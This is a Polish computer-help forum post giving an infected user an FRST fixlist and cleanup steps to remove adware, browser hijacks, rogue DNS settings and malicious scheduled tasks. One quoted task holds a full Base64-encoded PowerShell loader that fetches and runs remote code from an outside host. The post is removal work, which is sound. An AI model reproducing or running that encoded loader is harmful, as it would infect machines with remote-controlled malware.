Elektroda.pl
Elektroda.pl
X
CControls
Proszę, dodaj wyjątek www.elektroda.pl do Adblock.
Dzięki temu, że oglądasz reklamy, wspierasz portal i użytkowników.

Przekierowywanie na inne strony, reklamy.

GolonREC 31 Gru 2015 11:08 531 2
  • CControls
  • CControls
  • Pomocny post
    #3 31 Gru 2015 12:00
    Acorus 20
    Spec od komputerów

    Otwórz notatnik systemowy i wklej:

    Cytat:
    Task: {1CFCAF6D-3F11-4F55-87D4-DA9F62E67A0D} - System32\Tasks\RegisterReader => c:\programdata\{e20e3232-e899-9850-e20e-e3232e89c8cb}\5099122152267200386e.exe [2014-06-05] () <==== UWAGA
    Task: {1EC760CE-1A08-477C-8B0C-26BC128B64F1} - System32\Tasks\HeatDestroyer => c:\programdata\{753f25d6-5d8b-a71b-753f-f25d65d89759}\8182231005702100277e.exe [2014-07-24] () <==== UWAGA
    Task: {395B7B9A-E3BD-4DCD-9ADC-400F873E2373} - System32\Tasks\LaunchSignup => C:\Program Files (x86)\MyPC Backup\Signup Wizard.exe <==== UWAGA
    Task: {39F32BDE-1AE2-467E-BA00-1048FEA3B6CB} - System32\Tasks\{080E7947-050E-0408-0F11-0A797F7D117E} => powershell.exe -nologo -executionpolicy bypass -noninteractive -windowstyle hidden -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAcwB0AG8AcAAiADsAJABzAGMAPQAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAVwBhAHIAbgBpAG4AZwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJABzAGMAOwAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJABzAGMAOwAkAFYAZQByAGIAbwBzAGUAUAByAGUAZgBlAHIAZQBuAGMAZQA9ACQAcwBjADsAJABEAGUAYgB1AGcAUAByAGUAZgBlAHIAZQBuAGMAZQA9ACQAcwBjADsACgBmAHUAbgBjAHQAaQBvAG4AIABzAHIAKAAkAHAAKQB7ACQAbgA9ACIAVwBpAG4AZABvAHcAUABvAHMAaQB0AGkAbwBuACIAOwB0AHIAeQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAcAB8AE8AdQB0AC0ATgB1AGwAbAA7AH0AYwBhAHQAYwBoAHsAfQB0AHIAeQB7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAHAAIAAtAE4AYQBtAGUAIAAkAG4AIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBWAGEAbAB1AGUAIAAyADAAMQAzADIAOQA2ADYANAB8AE8AdQB0AC0ATgB1AGwAbAA7AH0ACgBjAGEAdABjAGgAewB0AHIAeQB7AFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAHAAIAAtAE4AYQBtAGUAIAAkAG4AIAAtAFYAYQBsAHUAZQAgADIAMAAxADMAMgA5ADYANgA0AHwATwB1AHQALQBOAHUAbABsADsAfQBjAGEAdABjAGgAewB9AH0AfQBzAHIAKAAiAEgASwBDAFUAOgBcAEMAbwBuAHMAbwBsAGUAXAAlAFMAeQBzAHQAZQBtAFIAbwBvAHQAJQBfAFMAeQBzAHQAZQBtADMAMgBfAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABfAHYAMQAuADAAXwBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgApADsAcwByACgAIgBIAEsAQwBVADoAXABDAG8AbgBzAG8AbABlAFwAJQBTAHkAcwB0AGUAbQBSAG8AbwB0ACUAXwBTAHkAcwB0AGUAbQAzADIAXwBzAHYAYwBoAG8AcwB0AC4AZQB4AGUAIgApADsAcwByACgAIgBIAEsAQwBVADoAXABDAG8AbgBzAG8AbABlAFwAdABhAHMAawBlAG4AZwAuAGUAeABlACIAKQA7AAoAJABzAHUAcgBsAD0AIgBoAHQAdABwADoALwAvAGYAbwByAGEAbABsAHMAaABvAHAALgBpAG4AZgBvAC8AdQAvAD8AYQA9AEkAcQBjAEoARgByAE4AagBrAEIASAB6AGsAYwBjAFMAZwBPAC0AQwBoAHMATgBqAGsAawA0AC0AYQBJAEIAdQBBAHgARwBLAE8AMgB5ADYAVwBPAG4AbgBQAEYAWQBjAEkAbwBsAFQAYQB5AEQANAB3ADIALQB5AFEANABuAEIAUABnAEkAZQBZAFYAaQBWADIANgBUAGEAUwBYAEQARAAxAHYAeABFAFgANABSAE0AaQA0ADAATQBpAG4AVwBUAHUAdQBKADAAXwBUADIASwAtAHIAZgB5AE0AWQBVADIARABTADAATABTAGsAcABvAEwARgBiAGQAMwBuAE0AOABRAEEAUgBIAFEALQBRAFAAegBtAHkAegBPAGUATwB3AFMAdQBnAEYAZwBmAF8ARwBzAE4AXwBjAF8AMgBIADkAdABCAFMAWQBuAHoAYwByAHEAVQBUAEoARQBJAHEAcQBQAGoAZQB6AEsAegA2AGgATABLAFMAbgBhADMAdgA1AEkAQQBKAG0AOABVAEsAcAByAFkARQBQAHUAbQBUAHcAawBLAHoAbQByAE8AaABJADIAYgBYADIAeQBRAFEAcABqAEUAeABxAEEAWQA3AHIAbgBIAEEAYQBuAE4AaQBYADQAcABKADEAWABWAFkANwBwAHMAQQB1AGYATgBJAHoAVQBwAGwAdwBGADUANQBYAFYAZABEAHoATwBpADYATQBQAFUAagBJAGsAbgBEAHAAcwA1AG0AVAA3AGUARAB0AFkAQwBYAE4AYQBGAHcASgB2AHgAegBmAE0AaQBOAHYASABUAEQAQwBJAFEAawBhAFYARABiAE8ANgBBAFIASgBiAEYAeQBJAG4AQgB0AEEAQwBEAGYAdwBNAFcAaQBZAG4ANABVAFQASwAxAEgAbABZAHYAWQBpAHgAUABkADAATAB2AFQAOQBRADAAUwBpAFQAaQBtADEAQQA5AC0AYQA3AHcAUABHAFIAbgB3AHUAdwBEAHgAVQB1AGIALQB6AEcATgBnAHQAVwBCAHkAaQBrAFkATwB4AHQAdQBTAGgATwBtAEgAVQBOADAAawBfADEAYgBUAFAAcwBTAHoANABtAEEATQByAEsAVQB2AFYAZgAwAGoAdgByAG0AcgAwAFcAbgB5AEQASABqADUAegBDAC0AMQBPAGEAMAB5AEUAdQBsAFUASQBtAEoAeQBrAEUAZgBrAGQAagAyAHYAUABNAEEATQA2ADUARwBrAEMARQBUADAAaABwAGoAeQA2AGQAVwA3AGoAdQBjAFoAWAA5AGMAdwBFAHYAdQBEAEQAVgBHAEUATQBQAEIASQBQAGUAeAByAG4AVABWADMARQB1AGcAQgBJAGMARgA5ADcANwBtAHUAYQBjAE4AYgA4AFcATQBQAEwAUwBBAF8ASAA1AGMAVgBuAEYAQwBvAHcAdABJAGYANwBnAE0ANwBfAG0AYQBEAFAAWgBPAFgAVgB2AEIANQBUAGwAdABOAHkAVgB5AEoATwB0AFkASwBfAGQAQgBhAGkANgBXAHoAcQAzADMAXwBjAF8AbAAwAG0AbABnADkAQgA0AE8AMgBUAE4AcwBDAGIAYQBYAEYARgB3ADYAUABqAGUAQQBBAFYAUgBGAG0AMgBLAGsAcgBsAHEATQBEAHQANQBMAGMAZwBkAGgARwAwAEsAcgBXAFIAVABjAGMAMwBpAGYAWgBKAHgATwA0AHIAagBrAHIAaQB0AFEAdABGAFcAeAAtAGoAVwBCAGIAOQB1AEwAXwBpADYAaABfAFIANgBGAEIAVQAwADYAUwA2AFEAZQBwAGoASAAtAGYAeQBjAE0ANABSAFUAYQBlAGMANQByAEEAOABXAHUAdAB0ADgANgBlAHYAWgAyADcAOQBMADYAagA5AFcAcwBrAGQAUwBtAEgAQwA4AHEAcQBBAGUASgA1AEkAOQBTAGMAXwBBADgAVABiAFYARAA5AFQAcgBvAE0ALQBUAGEAaQBtAEIAUAAwAEoARAAtAHAATQBsAFUAZAA2AFQAVABwAGYAVgA5AE8AaQBwADYATwBUAGUARgA5ADgAUwBXAFgAMQAxAFQAawBaAFoATwB6ADkARwBTAFcAMgBWAEQAMAB4AEYAOABQAGcARQBNAEoASQBMAFoAQQB4AEYAcwBxAFEANABhAHcAXwBZAEQAVwAxADcANQB2ADgARAB6AGsAcABGAHAATgB0AGMAbABYAHAAawBZAEIAbABEAHgATQBTADgARwBWAE4AcQBKAG0AUABQAG0AbgAwADcAZQBUAG0AYgB5AEYALQBqAE0ANgBlAGQATQA1AEkAVQBwADgARQBFAHIAUABsAHYAagBzAE0AWABtAFgAUgBaAHMAcgAmAGMAPQA4ADAAawBSAFgAUwBWAFoAWAAxAG4AMQBQAEwAWQBpAG8ANQBrAFkARwB4AGUAYwB0AE0AUQB5AEQATwBDAEgAXwA0AFoANAAwAFoAcgBnAHYAeAB3AHUAYwBJAFYAMABfAFMARQBYAEkAcABvAHUAaQA2AE4AWABsAEcAaQB0AHAAUwBMAGEATgBxAHgAcABBAFcALQA0AHEALQB6AGUATwBPAGwAdAB4ADIAVABKAEQAZQBGAG0AcwBkAEoAaQBDAHoASQB1AGkAYwBzAEoAMgBnAGMAbABMAFMAVgBqAFkANwBvAHEAWQBYAEYAZQBqAEgAUQBDAFEAUwBhAGEANQBxAEQARQBnAFcASwBSADMAUQBfAGMAUABqAHMAWQBJAEoAUABXAHkAXwBlAEoAVwBqAGwAXwBMADAAVQByAGkANABEAEQAWABvAEoAegBoAFUAVABoAHcASQA1AHEAOABlAEQARwBsAE0ANgBZADUAeQBGAFMAMABNAFQAZgA1AHUAeABnAEsAbwBjAGkANQBkADEAOAA3AEgAYwBtADIAZQBhAFgAYQAyAEsASQB3AE8ANgBWAFgATgBKAFoAZwBkAEIAdQBQADkAQQBLAEMAdwBxAE4AZQAtAFQAegBRADUAcABIAGIAeABaADEAcwBFAFUARwBtAFgAUABOAG4AMQBCAGsAcgBnAFYARgBrAEgALQBsAHkAaABtAHQAMgBmAG4AdABWAE8AcQBGAEYASABaADQAbwA1AEsAZgB3ADcAbQBnAHEATgBWAFoAYwA5ADEAaAB4ADkASABMAF8AegBJAFMAcgBJADEAQQBOAGEAVgA4AGwAZQAzADUAVgA3AFQALQBMAHUANQBaADkASwBFADkAcQB3AEMAWABlAGgAeQBYAG4AbAAzAFUAUwBPAEoASgBtAFIAOABMAHIAeAA2AEcAdwBZAHcAOAA2AGUAaABwAE4AbABIAGEAMAA1AE8AcwBsAFUAVAB5AHAAQQBqAFUASgBzAHMAQwAyAGsAOQBlADYAUABpAEsAYQBLAFMARQBNAHUATQBPAHkARQB2AGMAdQBiAGoAMQBPADgAMABGAFUAdwBlAGgAcwBvAGYAdgBjAEkARABWAGwANgBrAGwAQwBCAEsAOQBJAHgATABCAHYAQgBNAEoAaQBfADUAMQA0ADIAVABFAFUAMwA3AEsAcQBsAEwAVQBGAHYAcgBaAGUATQA3ADkANgBiADQAXwBQAEIATQBtAHEANAAtAE4ASQBQAG0AcwBVAFIATQBFAGUAUQA0AFAAXwBTAFIAagB2AEkAdABhAGkAcgBQAGcAQgBIAEcARgBqADEAMQBJAC0ARABzAFMAagA2AHQAVQBFAGEALQBOAG0AdQAwAGkAUgBqAHMAeAA0AHkAWAAyAHIAWQBUAE0AbQBCAF8ARwA1AEgAVABiAEsAdQBLAFcAYgBaAE8AWABxAHYANwAxAHkAMwB5AC0AYwBGAGwATABIAHgARwBnAEIARABGAGQAdQBzAFgAMwBQAHoATwB3AE0ARQBWAFkATgA4AEgATAB2AE8ANQB6AEwANQBnADcARwBCAGsAUgBmAEsAWAAwAGMAUABKAEMAZQBpAEEAMgB0AGkAUwBRAGoAbgBsAEcAXwBQAEcAdgA0ADIARAB0AGIARABDAEYANQByAEkARwBLAEUAbQBaADEAMwBmAEIAcAA4AE8AbwBTADgAMABkAHYAdABZAEEAcwB6AHkAdQBCAHoAUABlAE8AdQBzAFMAbgBjAHUANgAtAFYAaQBtAGwAegBaAGoAdgBlAGsATQBHAHQAcgBnAFEAVQBLAFMAUwBfADAARgBBAHQANABjAG8AcgBFAFMARgBXAHEAZgA2AGgAagBFAEMAUQBHAFQAbwBXAHgAbABSAFQATABUAEQAbwAzADcAaAA5AGgAagBYAHIAaQBqADYATwBLAFUAOQBtAGYASQBmADUAYQBFAGUATABMAHkASQBYAFQAdgBtADEAeQBDAEEARgBmAFcAZQAtAHgAOAB5AGoAWgBQAHoAZwAwAFIAUQBFAHoASwB5AE8AbgA3AGEAYgBZAEMAbAAwADIARQBEAHMAVQBvAHgAeQAyAFUAUQBhAG4ANwAtAGUAdABkAHAAcABaAGYAMQA3AHEANgA4AEIAcQB6AFEAVQBsAHcAVAAyAHQAUABCAG0ARABrADcASwBYAEIAVQBnAGcAMQAzAHYAUABMAE8AOABuAGYARwA4AHMAUwB0AFcAYQBMAGQAcwBZAGIAdABFAC0AVQBLADkAUwBmAE4ARwBoAHoASQBxAHgAMwBCAEgAQQB3AHcAQgBnAGoANABRAHAAOQB0AFYARABNAGYAVQB2AGIAVgBHADkASQBEAGwAZQBYAEIASwB6AGYAZwBNAGYAZABJAFoATQAmAHIAPQAyADQAOAA3ADEAMQA4ADAANQAyADUANQA1ADEANQAyADUANQAwACIAOwAkAHMAdABzAGsAPQAiAHsAMAA4ADAARQA3ADkANAA3AC0AMAA1ADAARQAtADAANAAwADgALQAwAEYAMQAxAC0AMABBADcAOQA3AEYANwBEADEAMQA3AEUAfQAiADsAJABwAHIAaQBkAD0AIgBTAHkAcwB0AGUAbQBIAGUAYQBsAGUAcgAiADsAJABpAG4AaQBkAD0AIgBNAEgATgBTAEYASQBLAEkAIgA7AHQAcgB5AHsAaQBmACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAuAE0AYQBqAG8AcgAgAC0AbAB0ACAAMgApAHsAYgByAGUAYQBrADsAfQAkAHYAPQBbAFMAeQBzAHQAZQBtAC4ARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AE8AUwBWAGUAcgBzAGkAbwBuAC4AVgBlAHIAcwBpAG8AbgA7AAoAaQBmACgAJAB2AC4ATQBhAGoAbwByACAALQBlAHEAIAA1ACkAewBpAGYAKAAoACQAdgAuAE0AaQBuAG8AcgAgAC0AbAB0ACAAMgApACAALQBBAE4ARAAgACgAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0AKQAuAFMAZQByAHYAaQBjAGUAUABhAGMAawBNAGEAagBvAHIAVgBlAHIAcwBpAG8AbgAgAC0AbAB0ACAAMgApACkAewBiAHIAZQBhAGsAOwB9AH0ACgBpAGYAKAAtAE4ATwBUACAAKABbAFMAZQBjAHUAcgBpAHQAeQAuAFAAcgBpAG4AYwBpAHAAYQBsAC4AVwBpAG4AZABvAHcAcwBQAHIAaQBuAGMAaQBwAGEAbABdAFsAUwBlAGMAdQByAGkAdAB5AC4AUAByAGkAbgBjAGkAcABhAGwALgBXAGkAbgBkAG8AdwBzAEkAZABlAG4AdABpAHQAeQBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0ACgAKQApAC4ASQBzAEkAbgBSAG8AbABlACgAWwBTAGUAYwB1AHIAaQB0AHkALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFcAaQBuAGQAbwB3AHMAQgB1AGkAbAB0AEkAbgBSAG8AbABlAF0AIAAiAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAIgApACkAewBiAHIAZQBhAGsAOwB9AAoAZgB1AG4AYwB0AGkAbwBuACAAdwBjACgAJAB1AHIAbAApAHsAJAByAHEAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJAByAHEALgBVAHMAZQBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9ACQAdAByAHUAZQA7ACQAcgBxAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAIgB1AHMAZQByAC0AYQBnAGUAbgB0ACIALAAiAE0AbwB6AGkAbABsAGEALwA0AC4AMAAgACgAYwBvAG0AcABhAHQAaQBiAGwAZQA7ACAATQBTAEkARQAgADcALgAwADsAIABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwApACIAKQA7AHIAZQB0AHUAcgBuACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHIAcQAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJAB1AHIAbAApACkAOwB9AAoAZgB1AG4AYwB0AGkAbwBuACAAZABzAHQAcgAoACQAcgBhAHcAZABhAHQAYQApAHsAJABiAHQAPQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAcgBhAHcAZABhAHQAYQApADsAJABlAHgAdAA9ACQAYgB0AFsAMABdADsAJABrAGUAeQA9ACQAYgB0AFsAMQBdACAALQBiAHgAbwByACAAMQA3ADAAOwBmAG8AcgAoACQAaQA9ADIAOwAkAGkAIAAtAGwAdAAgACQAYgB0AC4ATABlAG4AZwB0AGgAOwAkAGkAKwArACkAewAkAGIAdABbACQAaQBdAD0AKAAkAGIAdABbACQAaQBdACAALQBiAHgAbwByACAAKAAoACQAawBlAHkAIAArACAAJABpACkAIAAtAGIAYQBuAGQAIAAyADUANQApACkAOwB9AAoAcgBlAHQAdQByAG4AKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAJABiAHQALAAyACwAKAAkAGIAdAAuAEwAZQBuAGcAdABoAC0AJABlAHgAdAApACkAKQAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AH0ACgAkAHMAYwA9AGQAcwB0AHIAKAB3AGMAKAAkAHMAdQByAGwAKQApADsASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAALQBjAG8AbQBtAGEAbgBkACAAIgAkAHMAYwAiADsAfQBjAGEAdABjAGgAewB9ADsAZQB4AGkAdAAgADAAOwA=




    Task: {86B0F455-C6C5-4A3C-957B-C86E9D50FACC} - System32\Tasks\VideoHider => c:\programdata\{51c80c37-ab9c-dac2-51c8-80c37ab930de}\8851402460554473603e.exe [2014-08-09] () <==== UWAGA
    Task: {FB9A794B-A882-4BFC-B25F-EDC1EDA2F828} - System32\Tasks\Superclean => c:\programdata\{057da28a-9151-a2d0-057d-da28a9158a2a}\hqghumeaylnlf.exe [2014-09-11] (Super PC Tools Ltd) <==== UWAGA
    Task: C:\Windows\Tasks\HeatDestroyer.job => c:\programdata\{753f25d6-5d8b-a71b-753f-f25d65d89759}\8182231005702100277e.exe <==== UWAGA
    Task: C:\Windows\Tasks\RegisterReader.job => c:\programdata\{e20e3232-e899-9850-e20e-e3232e89c8cb}\5099122152267200386e.exe <==== UWAGA
    Task: C:\Windows\Tasks\Superclean.job => c:\programdata\{057da28a-9151-a2d0-057d-da28a9158a2a}\hqghumeaylnlf.exe <==== UWAGA
    Task: C:\Windows\Tasks\VideoHider.job => c:\programdata\{51c80c37-ab9c-dac2-51c8-80c37ab930de}\8851402460554473603e.exe <==== UWAGA
    Startup: C:\Users\Golon\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\superoptimizersetup.lnk [2015-03-11]
    ShortcutTarget: superoptimizersetup.lnk -> C:\ProgramData\{7a345a3b-65ef-ea45-7a34-45a3b65e68ed}\superoptimizersetup.exe (Super PC Tools Ltd)
    GroupPolicy: Ograniczenia - Chrome <======= UWAGA
    CHR HKLM\SOFTWARE\Policies\Google: Ograniczenia <======= UWAGA
    CHR HKU\S-1-5-21-2290596584-905438005-260120728-1001\SOFTWARE\Policies\Google: Ograniczenia <======= UWAGA
    Tcpip\Parameters: [NameServer] 199.203.131.151 82.163.143.181
    Tcpip\..\Interfaces\{BF2047CF-482D-4995-812E-69995D068BEE}: [NameServer] 199.203.131.151 82.163.143.181
    HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://search.gboxapp.com/
    HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Start Page = hxxp://search.gboxapp.com/
    HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.istartsurf.com/web/?type=ds&ts...;uid=ST31000524AS_6VPCZL6FXXXX6VPCZL6F&q={searchTerms}
    HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.istartsurf.com/web/?type=ds&ts...;uid=ST31000524AS_6VPCZL6FXXXX6VPCZL6F&q={searchTerms}
    HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = about:blank
    HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Page_URL = about:blank
    HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.istartsurf.com/web/?type=ds&ts...;uid=ST31000524AS_6VPCZL6FXXXX6VPCZL6F&q={searchTerms}
    HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.istartsurf.com/web/?type=ds&ts...;uid=ST31000524AS_6VPCZL6FXXXX6VPCZL6F&q={searchTerms}
    HKU\S-1-5-21-2290596584-905438005-260120728-1001\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://search.gboxapp.com/
    SearchScopes: HKU\S-1-5-21-2290596584-905438005-260120728-1001 -> {szukaj.gazeta.pl} URL = hxxp://szukaj.gazeta.pl/internet/0,0.html?slowo={searchTerms}
    StartMenuInternet: IEXPLORE.EXE - C:\Program Files\Internet Explorer\iexplore.exe hxxp://www.istartsurf.com/?type=sc&ts=140...smt&uid=ST31000524AS_6VPCZL6FXXXX6VPCZL6F
    CHR StartupUrls: Default -> "hxxp://search.gboxapp.com/"
    R2 Contemplative Estate; C:\Program Files (x86)\Contemplative Estate\Contemplative Estate.exe [8016102 2015-07-06] () [Brak podpisu cyfrowego] <==== UWAGA
    S4 IePluginServices; C:\ProgramData\IePluginServices\PluginService.exe [694784 2014-08-12] (Cherished Technololgy LIMITED) [Brak podpisu cyfrowego]
    S4 MaintainerSvc1.92.5302915; C:\ProgramData\ecbaef90-5696-41e1-a1c3-3e8112ce2840\maintainer.exe [123632 2014-12-10] ()
    R1 {1d2109d8-6714-4ca1-8af8-2ed86cea88e2}Gw64; C:\Windows\System32\drivers\{1d2109d8-6714-4ca1-8af8-2ed86cea88e2}Gw64.sys [48784 2014-11-26] (StdLib)
    R1 {2859046f-5dca-482a-8c2d-37943d33a392}Gw64; C:\Windows\System32\drivers\{2859046f-5dca-482a-8c2d-37943d33a392}Gw64.sys [48792 2014-11-04] (StdLib)
    R1 {5f0f49f4-526a-4e0c-b198-a0742c879601}Gw64; C:\Windows\System32\drivers\{5f0f49f4-526a-4e0c-b198-a0742c879601}Gw64.sys [48784 2014-11-28] (StdLib)
    R1 {654352cf-1b15-4a56-bda1-f8f91d6491c6}Gw64; C:\Windows\System32\drivers\{654352cf-1b15-4a56-bda1-f8f91d6491c6}Gw64.sys [48784 2014-11-29] (StdLib)
    R1 {6db7eb66-a30b-41a3-809c-addb2341dafb}Gw64; C:\Windows\System32\drivers\{6db7eb66-a30b-41a3-809c-addb2341dafb}Gw64.sys [48792 2014-11-01] (StdLib)
    R1 {8c39d0b0-9b68-43ef-bc3c-2ef385fe5169}Gw64; C:\Windows\System32\drivers\{8c39d0b0-9b68-43ef-bc3c-2ef385fe5169}Gw64.sys [48792 2014-11-06] (StdLib)
    R1 {9de7e012-74d3-4f9d-b4b0-2d3150073168}Gw64; C:\Windows\System32\drivers\{9de7e012-74d3-4f9d-b4b0-2d3150073168}Gw64.sys [48792 2014-11-10] (StdLib)
    R1 {b30c55f2-a940-4907-8051-f13c9acdacdd}Gw64; C:\Windows\System32\drivers\{b30c55f2-a940-4907-8051-f13c9acdacdd}Gw64.sys [48784 2014-11-27] (StdLib)
    R1 {cd63c300-b231-4a93-a479-5a1e96976d74}Gw64; C:\Windows\System32\drivers\{cd63c300-b231-4a93-a479-5a1e96976d74}Gw64.sys [48784 2014-12-01] (StdLib)
    R1 {dda91daf-e6f8-4453-88d1-df18d861c904}Gw64; C:\Windows\System32\drivers\{dda91daf-e6f8-4453-88d1-df18d861c904}Gw64.sys [48792 2014-10-30] (StdLib)
    S3 VGPU; System32\drivers\rdvgkmd.sys [X]
    2015-12-28 16:52 - 2015-12-28 16:52 - 00023064 _____ C:\Windows\System32\Tasks\{080E7947-050E-0408-0F11-0A797F7D117E}
    2015-12-28 16:52 - 2015-12-28 16:52 - 00000000 ____D C:\ProgramData\9e4a1fa2-6105-1
    2015-12-28 16:52 - 2015-12-28 16:52 - 00000000 ____D C:\ProgramData\9e4a1fa2-59a3-0
    C:\Users\Golon\AppData\Roaming\Origin\update.vbe
    EmptyTemp:


    Plik zapisz pod nazwą fixlist.txt i umieść obok FRST w tym samym folderze.
    Uruchom jako administrator FRST i kliknij w Fix/Napraw.
    Pobierz i uruchom jako administrator AdwCleaner https://toolslib.net/downloads/finish/1/ Kliknij Scan i później Cleaning.

    0